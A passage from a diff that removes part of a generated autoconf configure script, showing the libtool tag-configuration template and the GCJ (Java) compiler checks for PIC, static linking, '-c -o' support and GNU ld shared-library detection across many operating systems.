-# Used to examine libraries when file_magic_cmd begins "file"
-MAGIC_CMD=$MAGIC_CMD
-
-# Used on cygwin: DLL creation program.
-DLLTOOL="$DLLTOOL"
-
-# Used on cygwin: object dumper.
-OBJDUMP="$OBJDUMP"
-
-# Used on cygwin: assembler.
-AS="$AS"
-
-# The name of the directory that contains temporary libtool files.
-objdir=$objdir
-
-# How to create reloadable object files.
-reload_flag=$lt_reload_flag
-reload_cmds=$lt_reload_cmds
-
-# How to pass a linker flag through the compiler.
-wl=$lt_lt_prog_compiler_wl_F77
-
-# Object file suffix (normally "o").
-objext="$ac_objext"
-
-# Old archive suffix (normally "a").
-libext="$libext"
-
-# Shared library suffix (normally ".so").
-shrext_cmds='$shrext_cmds'
-
-# Executable file suffix (normally "").
-exeext="$exeext"
-
-# Additional compiler flags for building library objects.
-pic_flag=$lt_lt_prog_compiler_pic_F77
-pic_mode=$pic_mode
-
-# What is the maximum length of a command?
-max_cmd_len=$lt_cv_sys_max_cmd_len
-
-# Does compiler simultaneously support -c and -o options?
-compiler_c_o=$lt_lt_cv_prog_compiler_c_o_F77
-
-# Must we lock files when doing compilation?
-need_locks=$lt_need_locks
-
-# Do we need the lib prefix for modules?
-need_lib_prefix=$need_lib_prefix
-
-# Do we need a version for libraries?
-need_version=$need_version
-
-# Whether dlopen is supported.
-dlopen_support=$enable_dlopen
-
-# Whether dlopen of programs is supported.
-dlopen_self=$enable_dlopen_self
-
-# Whether dlopen of statically linked programs is supported.
-dlopen_self_static=$enable_dlopen_self_static
-
-# Compiler flag to prevent dynamic linking.
-link_static_flag=$lt_lt_prog_compiler_static_F77
-
-# Compiler flag to turn off builtin functions.
-no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag_F77
-
-# Compiler flag to allow reflexive dlopens.
-export_dynamic_flag_spec=$lt_export_dynamic_flag_spec_F77
-
-# Compiler flag to generate shared objects directly from archives.
-whole_archive_flag_spec=$lt_whole_archive_flag_spec_F77
-
-# Compiler flag to generate thread-safe objects.
-thread_safe_flag_spec=$lt_thread_safe_flag_spec_F77
-
-# Library versioning type.
-version_type=$version_type
-
-# Format of library name prefix.
-libname_spec=$lt_libname_spec
-
-# List of archive names. First name is the real one, the rest are links.
-# The last name is the one that the linker finds with -lNAME.
-library_names_spec=$lt_library_names_spec
-
-# The coded name of the library, if different from the real name.
-soname_spec=$lt_soname_spec
-
-# Commands used to build and install an old-style archive.
-RANLIB=$lt_RANLIB
-old_archive_cmds=$lt_old_archive_cmds_F77
-old_postinstall_cmds=$lt_old_postinstall_cmds
-old_postuninstall_cmds=$lt_old_postuninstall_cmds
-
-# Create an old-style archive from a shared archive.
-old_archive_from_new_cmds=$lt_old_archive_from_new_cmds_F77
-
-# Create a temporary old-style archive to link instead of a shared archive.
-old_archive_from_expsyms_cmds=$lt_old_archive_from_expsyms_cmds_F77
-
-# Commands used to build and install a shared archive.
-archive_cmds=$lt_archive_cmds_F77
-archive_expsym_cmds=$lt_archive_expsym_cmds_F77
-postinstall_cmds=$lt_postinstall_cmds
-postuninstall_cmds=$lt_postuninstall_cmds
-
-# Commands used to build a loadable module (assumed same as above if empty)
-module_cmds=$lt_module_cmds_F77
-module_expsym_cmds=$lt_module_expsym_cmds_F77
-
-# Commands to strip libraries.
-old_striplib=$lt_old_striplib
-striplib=$lt_striplib
-
-# Dependencies to place before the objects being linked to create a
-# shared library.
-predep_objects=$lt_predep_objects_F77
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdep_objects=$lt_postdep_objects_F77
-
-# Dependencies to place before the objects being linked to create a
-# shared library.
-predeps=$lt_predeps_F77
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdeps=$lt_postdeps_F77
-
-# The library search path used internally by the compiler when linking
-# a shared library.
-compiler_lib_search_path=$lt_compiler_lib_search_path_F77
-
-# Method to check whether dependent libraries are shared objects.
-deplibs_check_method=$lt_deplibs_check_method
-
-# Command to use when deplibs_check_method == file_magic.
-file_magic_cmd=$lt_file_magic_cmd
-
-# Flag that allows shared libraries with undefined symbols to be built.
-allow_undefined_flag=$lt_allow_undefined_flag_F77
-
-# Flag that forces no undefined symbols.
-no_undefined_flag=$lt_no_undefined_flag_F77
-
-# Commands used to finish a libtool library installation in a directory.
-finish_cmds=$lt_finish_cmds
-
-# Same as above, but a single script fragment to be evaled but not shown.
-finish_eval=$lt_finish_eval
-
-# Take the output of nm and produce a listing of raw symbols and C names.
-global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe
-
-# Transform the output of nm in a proper C declaration
-global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl
-
-# Transform the output of nm in a C name address pair
-global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
-
-# This is the shared library runtime path variable.
-runpath_var=$runpath_var
-
-# This is the shared library path variable.
-shlibpath_var=$shlibpath_var
-
-# Is shlibpath searched before the hard-coded library search path?
-shlibpath_overrides_runpath=$shlibpath_overrides_runpath
-
-# How to hardcode a shared library path into an executable.
-hardcode_action=$hardcode_action_F77
-
-# Whether we should hardcode library paths into libraries.
-hardcode_into_libs=$hardcode_into_libs
-
-# Flag to hardcode \$libdir into a binary during linking.
-# This must work even if \$libdir does not exist.
-hardcode_libdir_flag_spec=$lt_hardcode_libdir_flag_spec_F77
-
-# If ld is used when linking, flag to hardcode \$libdir into
-# a binary during linking. This must work even if \$libdir does
-# not exist.
-hardcode_libdir_flag_spec_ld=$lt_hardcode_libdir_flag_spec_ld_F77
-
-# Whether we need a single -rpath flag with a separated argument.
-hardcode_libdir_separator=$lt_hardcode_libdir_separator_F77
-
-# Set to yes if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the
-# resulting binary.
-hardcode_direct=$hardcode_direct_F77
-
-# Set to yes if using the -LDIR flag during linking hardcodes DIR into the
-# resulting binary.
-hardcode_minus_L=$hardcode_minus_L_F77
-
-# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into
-# the resulting binary.
-hardcode_shlibpath_var=$hardcode_shlibpath_var_F77
-
-# Set to yes if building a shared library automatically hardcodes DIR into the library
-# and all subsequent libraries and executables linked against it.
-hardcode_automatic=$hardcode_automatic_F77
-
-# Variables whose values should be saved in libtool wrapper scripts and
-# restored at relink time.
-variables_saved_for_relink="$variables_saved_for_relink"
-
-# Whether libtool must link a program against all its dependency libraries.
-link_all_deplibs=$link_all_deplibs_F77
-
-# Compile-time system search path for libraries
-sys_lib_search_path_spec=$lt_sys_lib_search_path_spec
-
-# Run-time system search path for libraries
-sys_lib_dlsearch_path_spec=$lt_sys_lib_dlsearch_path_spec
-
-# Fix the shell variable \$srcfile for the compiler.
-fix_srcfile_path="$fix_srcfile_path_F77"
-
-# Set to yes if exported symbols are required.
-always_export_symbols=$always_export_symbols_F77
-
-# The commands to list exported symbols.
-export_symbols_cmds=$lt_export_symbols_cmds_F77
-
-# The commands to extract the exported symbol list from a shared archive.
-extract_expsyms_cmds=$lt_extract_expsyms_cmds
-
-# Symbols that should not be listed in the preloaded symbols.
-exclude_expsyms=$lt_exclude_expsyms_F77
-
-# Symbols that must always be exported.
-include_expsyms=$lt_include_expsyms_F77
-
-# ### END LIBTOOL TAG CONFIG: $tagname
-
-__EOF__
-
-
-else
- # If there is no Makefile yet, we rely on a make rule to execute
- # `config.status --recheck' to rerun these tests and create the
- # libtool script then.
- ltmain_in=`echo $ltmain | sed -e 's/\.sh$/.in/'`
- if test -f "$ltmain_in"; then
- test -f Makefile && make "$ltmain"
- fi
-fi
-
-
-ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
-CC="$lt_save_CC"
-
- else
- tagname=""
- fi
- ;;
-
- GCJ)
- if test -n "$GCJ" && test "X$GCJ" != "Xno"; then
-
-
-# Source file extension for Java test sources.
-ac_ext=java
-
-# Object file extension for compiled Java test sources.
-objext=o
-objext_GCJ=$objext
-
-# Code to be used in simple compile tests
-lt_simple_compile_test_code="class foo {}\n"
-
-# Code to be used in simple link tests
-lt_simple_link_test_code='public class conftest { public static void main(String[] argv) {}; }\n'
-
-# ltmain only uses $CC for tagged configurations so make sure $CC is set.
-
-# If no C compiler was specified, use CC.
-LTCC=${LTCC-"$CC"}
-
-# If no C compiler flags were specified, use CFLAGS.
-LTCFLAGS=${LTCFLAGS-"$CFLAGS"}
-
-# Allow CC to be a program name with arguments.
-compiler=$CC
-
-
-# save warnings/boilerplate of simple test code
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_compile_test_code" >conftest.$ac_ext
-eval "$ac_compile" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_compiler_boilerplate=`cat conftest.err`
-$rm conftest*
-
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_link_test_code" >conftest.$ac_ext
-eval "$ac_link" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_linker_boilerplate=`cat conftest.err`
-$rm conftest*
-
-
-# Allow CC to be a program name with arguments.
-lt_save_CC="$CC"
-CC=${GCJ-"gcj"}
-compiler=$CC
-compiler_GCJ=$CC
-for cc_temp in $compiler""; do
- case $cc_temp in
- compile | *[\\/]compile | ccache | *[\\/]ccache ) ;;
- distcc | *[\\/]distcc | purify | *[\\/]purify ) ;;
- \-*) ;;
- *) break;;
- esac
-done
-cc_basename=`$echo "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_alias-%%"`
-
-
-# GCJ did not exist at the time GCC didn't implicitly link libc in.
-archive_cmds_need_lc_GCJ=no
-
-old_archive_cmds_GCJ=$old_archive_cmds
-
-## CAVEAT EMPTOR:
-## There is no encapsulation within the following macros, do not change
-## the running order or otherwise move them around unless you know exactly
-## what you are doing...
-
-lt_prog_compiler_no_builtin_flag_GCJ=
-
-if test "$GCC" = yes; then
- lt_prog_compiler_no_builtin_flag_GCJ=' -fno-builtin'
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler supports -fno-rtti -fno-exceptions" >&5
-$as_echo_n "checking if $compiler supports -fno-rtti -fno-exceptions... " >&6; }
-if ${lt_cv_prog_compiler_rtti_exceptions+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_cv_prog_compiler_rtti_exceptions=no
- ac_outfile=conftest.$ac_objext
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
- lt_compiler_flag="-fno-rtti -fno-exceptions"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- # The option is referenced via a variable to avoid confusing sed.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:16306: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>conftest.err)
- ac_status=$?
- cat conftest.err >&5
- echo "$as_me:16310: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s "$ac_outfile"; then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings other than the usual output.
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then
- lt_cv_prog_compiler_rtti_exceptions=yes
- fi
- fi
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_rtti_exceptions" >&5
-$as_echo "$lt_cv_prog_compiler_rtti_exceptions" >&6; }
-
-if test x"$lt_cv_prog_compiler_rtti_exceptions" = xyes; then
- lt_prog_compiler_no_builtin_flag_GCJ="$lt_prog_compiler_no_builtin_flag_GCJ -fno-rtti -fno-exceptions"
-else
- :
-fi
-
-fi
-
-lt_prog_compiler_wl_GCJ=
-lt_prog_compiler_pic_GCJ=
-lt_prog_compiler_static_GCJ=
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-
- if test "$GCC" = yes; then
- lt_prog_compiler_wl_GCJ='-Wl,'
- lt_prog_compiler_static_GCJ='-static'
-
- case $host_os in
- aix*)
- # All AIX code is PIC.
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- lt_prog_compiler_static_GCJ='-Bstatic'
- fi
- ;;
-
- amigaos*)
- # FIXME: we need at least 68020 code to build shared libraries, but
- # adding the `-m68020' flag to GCC prevents building anything better,
- # like `-m68040'.
- lt_prog_compiler_pic_GCJ='-m68020 -resident32 -malways-restore-a4'
- ;;
-
- beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*)
- # PIC is the default for these OSes.
- ;;
-
- mingw* | pw32* | os2*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- lt_prog_compiler_pic_GCJ='-DDLL_EXPORT'
- ;;
-
- darwin* | rhapsody*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- lt_prog_compiler_pic_GCJ='-fno-common'
- ;;
-
- interix3*)
- # Interix 3.x gcc -fpic/-fPIC options generate broken code.
- # Instead, we relocate shared libraries at runtime.
- ;;
-
- msdosdjgpp*)
- # Just because we use GCC doesn't mean we suddenly get shared libraries
- # on systems that don't support them.
- lt_prog_compiler_can_build_shared_GCJ=no
- enable_shared=no
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec; then
- lt_prog_compiler_pic_GCJ=-Kconform_pic
- fi
- ;;
-
- hpux*)
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- lt_prog_compiler_pic_GCJ='-fPIC'
- ;;
- esac
- ;;
-
- *)
- lt_prog_compiler_pic_GCJ='-fPIC'
- ;;
- esac
- else
- # PORTME Check for flag to pass linker flags through the system compiler.
- case $host_os in
- aix*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- lt_prog_compiler_static_GCJ='-Bstatic'
- else
- lt_prog_compiler_static_GCJ='-bnso -bI:/lib/syscalls.exp'
- fi
- ;;
- darwin*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- case $cc_basename in
- xlc*)
- lt_prog_compiler_pic_GCJ='-qnocommon'
- lt_prog_compiler_wl_GCJ='-Wl,'
- ;;
- esac
- ;;
-
- mingw* | pw32* | os2*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- lt_prog_compiler_pic_GCJ='-DDLL_EXPORT'
- ;;
-
- hpux9* | hpux10* | hpux11*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- lt_prog_compiler_pic_GCJ='+Z'
- ;;
- esac
- # Is there a better lt_prog_compiler_static that works with the bundled CC?
- lt_prog_compiler_static_GCJ='${wl}-a ${wl}archive'
- ;;
-
- irix5* | irix6* | nonstopux*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- # PIC (with -KPIC) is the default.
- lt_prog_compiler_static_GCJ='-non_shared'
- ;;
-
- newsos6)
- lt_prog_compiler_pic_GCJ='-KPIC'
- lt_prog_compiler_static_GCJ='-Bstatic'
- ;;
-
- linux*)
- case $cc_basename in
- icc* | ecc*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- lt_prog_compiler_pic_GCJ='-KPIC'
- lt_prog_compiler_static_GCJ='-static'
- ;;
- pgcc* | pgf77* | pgf90* | pgf95*)
- # Portland Group compilers (*not* the Pentium gcc compiler,
- # which looks to be a dead project)
- lt_prog_compiler_wl_GCJ='-Wl,'
- lt_prog_compiler_pic_GCJ='-fpic'
- lt_prog_compiler_static_GCJ='-Bstatic'
- ;;
- ccc*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- # All Alpha code is PIC.
- lt_prog_compiler_static_GCJ='-non_shared'
- ;;
- esac
- ;;
-
- osf3* | osf4* | osf5*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- # All OSF/1 code is PIC.
- lt_prog_compiler_static_GCJ='-non_shared'
- ;;
-
- solaris*)
- lt_prog_compiler_pic_GCJ='-KPIC'
- lt_prog_compiler_static_GCJ='-Bstatic'
- case $cc_basename in
- f77* | f90* | f95*)
- lt_prog_compiler_wl_GCJ='-Qoption ld ';;
- *)
- lt_prog_compiler_wl_GCJ='-Wl,';;
- esac
- ;;
-
- sunos4*)
- lt_prog_compiler_wl_GCJ='-Qoption ld '
- lt_prog_compiler_pic_GCJ='-PIC'
- lt_prog_compiler_static_GCJ='-Bstatic'
- ;;
-
- sysv4 | sysv4.2uw2* | sysv4.3*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- lt_prog_compiler_pic_GCJ='-KPIC'
- lt_prog_compiler_static_GCJ='-Bstatic'
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec ;then
- lt_prog_compiler_pic_GCJ='-Kconform_pic'
- lt_prog_compiler_static_GCJ='-Bstatic'
- fi
- ;;
-
- sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- lt_prog_compiler_pic_GCJ='-KPIC'
- lt_prog_compiler_static_GCJ='-Bstatic'
- ;;
-
- unicos*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- lt_prog_compiler_can_build_shared_GCJ=no
- ;;
-
- uts4*)
- lt_prog_compiler_pic_GCJ='-pic'
- lt_prog_compiler_static_GCJ='-Bstatic'
- ;;
-
- *)
- lt_prog_compiler_can_build_shared_GCJ=no
- ;;
- esac
- fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic_GCJ" >&5
-$as_echo "$lt_prog_compiler_pic_GCJ" >&6; }
-
-#
-# Check to make sure the PIC flag actually works.
-#
-if test -n "$lt_prog_compiler_pic_GCJ"; then
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler PIC flag $lt_prog_compiler_pic_GCJ works" >&5
-$as_echo_n "checking if $compiler PIC flag $lt_prog_compiler_pic_GCJ works... " >&6; }
-if ${lt_prog_compiler_pic_works_GCJ+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_prog_compiler_pic_works_GCJ=no
- ac_outfile=conftest.$ac_objext
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
- lt_compiler_flag="$lt_prog_compiler_pic_GCJ"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- # The option is referenced via a variable to avoid confusing sed.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:16574: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>conftest.err)
- ac_status=$?
- cat conftest.err >&5
- echo "$as_me:16578: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s "$ac_outfile"; then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings other than the usual output.
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then
- lt_prog_compiler_pic_works_GCJ=yes
- fi
- fi
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic_works_GCJ" >&5
-$as_echo "$lt_prog_compiler_pic_works_GCJ" >&6; }
-
-if test x"$lt_prog_compiler_pic_works_GCJ" = xyes; then
- case $lt_prog_compiler_pic_GCJ in
- "" | " "*) ;;
- *) lt_prog_compiler_pic_GCJ=" $lt_prog_compiler_pic_GCJ" ;;
- esac
-else
- lt_prog_compiler_pic_GCJ=
- lt_prog_compiler_can_build_shared_GCJ=no
-fi
-
-fi
-case $host_os in
- # For platforms which do not support PIC, -DPIC is meaningless:
- *djgpp*)
- lt_prog_compiler_pic_GCJ=
- ;;
- *)
- lt_prog_compiler_pic_GCJ="$lt_prog_compiler_pic_GCJ"
- ;;
-esac
-
-#
-# Check to make sure the static flag actually works.
-#
-wl=$lt_prog_compiler_wl_GCJ eval lt_tmp_static_flag=\"$lt_prog_compiler_static_GCJ\"
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler static flag $lt_tmp_static_flag works" >&5
-$as_echo_n "checking if $compiler static flag $lt_tmp_static_flag works... " >&6; }
-if ${lt_prog_compiler_static_works_GCJ+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_prog_compiler_static_works_GCJ=no
- save_LDFLAGS="$LDFLAGS"
- LDFLAGS="$LDFLAGS $lt_tmp_static_flag"
- printf "$lt_simple_link_test_code" > conftest.$ac_ext
- if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; then
- # The linker can only warn and ignore the option if not recognized
- # So say no if there are warnings
- if test -s conftest.err; then
- # Append any errors to the config.log.
- cat conftest.err 1>&5
- $echo "X$_lt_linker_boilerplate" | $Xsed -e '/^$/d' > conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if diff conftest.exp conftest.er2 >/dev/null; then
- lt_prog_compiler_static_works_GCJ=yes
- fi
- else
- lt_prog_compiler_static_works_GCJ=yes
- fi
- fi
- $rm conftest*
- LDFLAGS="$save_LDFLAGS"
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_static_works_GCJ" >&5
-$as_echo "$lt_prog_compiler_static_works_GCJ" >&6; }
-
-if test x"$lt_prog_compiler_static_works_GCJ" = xyes; then
- :
-else
- lt_prog_compiler_static_GCJ=
-fi
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler supports -c -o file.$ac_objext" >&5
-$as_echo_n "checking if $compiler supports -c -o file.$ac_objext... " >&6; }
-if ${lt_cv_prog_compiler_c_o_GCJ+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_cv_prog_compiler_c_o_GCJ=no
- $rm -r conftest 2>/dev/null
- mkdir conftest
- cd conftest
- mkdir out
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- lt_compiler_flag="-o out/conftest2.$ac_objext"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:16678: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>out/conftest.err)
- ac_status=$?
- cat out/conftest.err >&5
- echo "$as_me:16682: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s out/conftest2.$ac_objext
- then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' > out/conftest.exp
- $SED '/^$/d; /^ *+/d' out/conftest.err >out/conftest.er2
- if test ! -s out/conftest.er2 || diff out/conftest.exp out/conftest.er2 >/dev/null; then
- lt_cv_prog_compiler_c_o_GCJ=yes
- fi
- fi
- chmod u+w . 2>&5
- $rm conftest*
- # SGI C++ compiler will create directory out/ii_files/ for
- # template instantiation
- test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files
- $rm out/* && rmdir out
- cd ..
- rmdir conftest
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_c_o_GCJ" >&5
-$as_echo "$lt_cv_prog_compiler_c_o_GCJ" >&6; }
-
-
-hard_links="nottested"
-if test "$lt_cv_prog_compiler_c_o_GCJ" = no && test "$need_locks" != no; then
- # do not overwrite the value of need_locks provided by the user
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking if we can lock with hard links" >&5
-$as_echo_n "checking if we can lock with hard links... " >&6; }
- hard_links=yes
- $rm conftest*
- ln conftest.a conftest.b 2>/dev/null && hard_links=no
- touch conftest.a
- ln conftest.a conftest.b 2>&5 || hard_links=no
- ln conftest.a conftest.b 2>/dev/null && hard_links=no
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $hard_links" >&5
-$as_echo "$hard_links" >&6; }
- if test "$hard_links" = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&5
-$as_echo "$as_me: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&2;}
- need_locks=warn
- fi
-else
- need_locks=no
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $compiler linker ($LD) supports shared libraries" >&5
-$as_echo_n "checking whether the $compiler linker ($LD) supports shared libraries... " >&6; }
-
- runpath_var=
- allow_undefined_flag_GCJ=
- enable_shared_with_static_runtimes_GCJ=no
- archive_cmds_GCJ=
- archive_expsym_cmds_GCJ=
- old_archive_From_new_cmds_GCJ=
- old_archive_from_expsyms_cmds_GCJ=
- export_dynamic_flag_spec_GCJ=
- whole_archive_flag_spec_GCJ=
- thread_safe_flag_spec_GCJ=
- hardcode_libdir_flag_spec_GCJ=
- hardcode_libdir_flag_spec_ld_GCJ=
- hardcode_libdir_separator_GCJ=
- hardcode_direct_GCJ=no
- hardcode_minus_L_GCJ=no
- hardcode_shlibpath_var_GCJ=unsupported
- link_all_deplibs_GCJ=unknown
- hardcode_automatic_GCJ=no
- module_cmds_GCJ=
- module_expsym_cmds_GCJ=
- always_export_symbols_GCJ=no
- export_symbols_cmds_GCJ='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
- # include_expsyms should be a list of space-separated symbols to be *always*
- # included in the symbol list
- include_expsyms_GCJ=
- # exclude_expsyms can be an extended regexp of symbols to exclude
- # it will be wrapped by ` (' and `)$', so one must not match beginning or
- # end of line. Example: `a|bc|.*d.*' will exclude the symbols `a' and `bc',
- # as well as any symbol that contains `d'.
- exclude_expsyms_GCJ="_GLOBAL_OFFSET_TABLE_"
- # Although _GLOBAL_OFFSET_TABLE_ is a valid symbol C name, most a.out
- # platforms (ab)use it in PIC code, but their linkers get confused if
- # the symbol is explicitly referenced. Since portable code cannot
- # rely on this symbol name, it's probably fine to never include it in
- # preloaded symbol tables.
- extract_expsyms_cmds=
- # Just being paranoid about ensuring that cc_basename is set.
- for cc_temp in $compiler""; do
- case $cc_temp in
- compile | *[\\/]compile | ccache | *[\\/]ccache ) ;;
- distcc | *[\\/]distcc | purify | *[\\/]purify ) ;;
- \-*) ;;
- *) break;;
- esac
-done
-cc_basename=`$echo "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_alias-%%"`
-
- case $host_os in
- cygwin* | mingw* | pw32*)
- # FIXME: the MSVC++ port hasn't been tested in a loooong time
- # When not using gcc, we currently assume that we are using
- # Microsoft Visual C++.
- if test "$GCC" != yes; then
- with_gnu_ld=no
- fi
- ;;
- interix*)
- # we just hope/assume this is gcc and not c89 (= MSVC++)
- with_gnu_ld=yes
- ;;
- openbsd*)
- with_gnu_ld=no
- ;;
- esac
-
- ld_shlibs_GCJ=yes
- if test "$with_gnu_ld" = yes; then
- # If archive_cmds runs LD, not CC, wlarc should be empty
- wlarc='${wl}'
-
- # Set some defaults for GNU ld with shared library support. These
- # are reset later if shared libraries are not supported. Putting them
- # here allows them to be overridden if necessary.
- runpath_var=LD_RUN_PATH
- hardcode_libdir_flag_spec_GCJ='${wl}--rpath ${wl}$libdir'
- export_dynamic_flag_spec_GCJ='${wl}--export-dynamic'
- # ancient GNU ld didn't support --whole-archive et. al.
- if $LD --help 2>&1 | grep 'no-whole-archive' > /dev/null; then
- whole_archive_flag_spec_GCJ="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
- else
- whole_archive_flag_spec_GCJ=
- fi
- supports_anon_versioning=no
- case `$LD -v 2>/dev/null` in
- *\ [01].* | *\ 2.[0-9].* | *\ 2.10.*) ;; # catch versions < 2.11
- *\ 2.11.93.0.2\ *) supports_anon_versioning=yes ;; # RH7.3 ...
- *\ 2.11.92.0.12\ *) supports_anon_versioning=yes ;; # Mandrake 8.2 ...
- *\ 2.11.*) ;; # other 2.11 versions
- *) supports_anon_versioning=yes ;;
- esac
-
- # See if GNU ld supports shared libraries.
- case $host_os in
- aix3* | aix4* | aix5*)
- # On AIX/PPC, the GNU linker is very broken
- if test "$host_cpu" != ia64; then
- ld_shlibs_GCJ=no
- cat <<EOF 1>&2
-
-*** Warning: the GNU linker, at least up to release 2.9.1, is reported
-*** to be unable to reliably create shared libraries on AIX.
-*** Therefore, libtool is disabling shared libraries support. If you
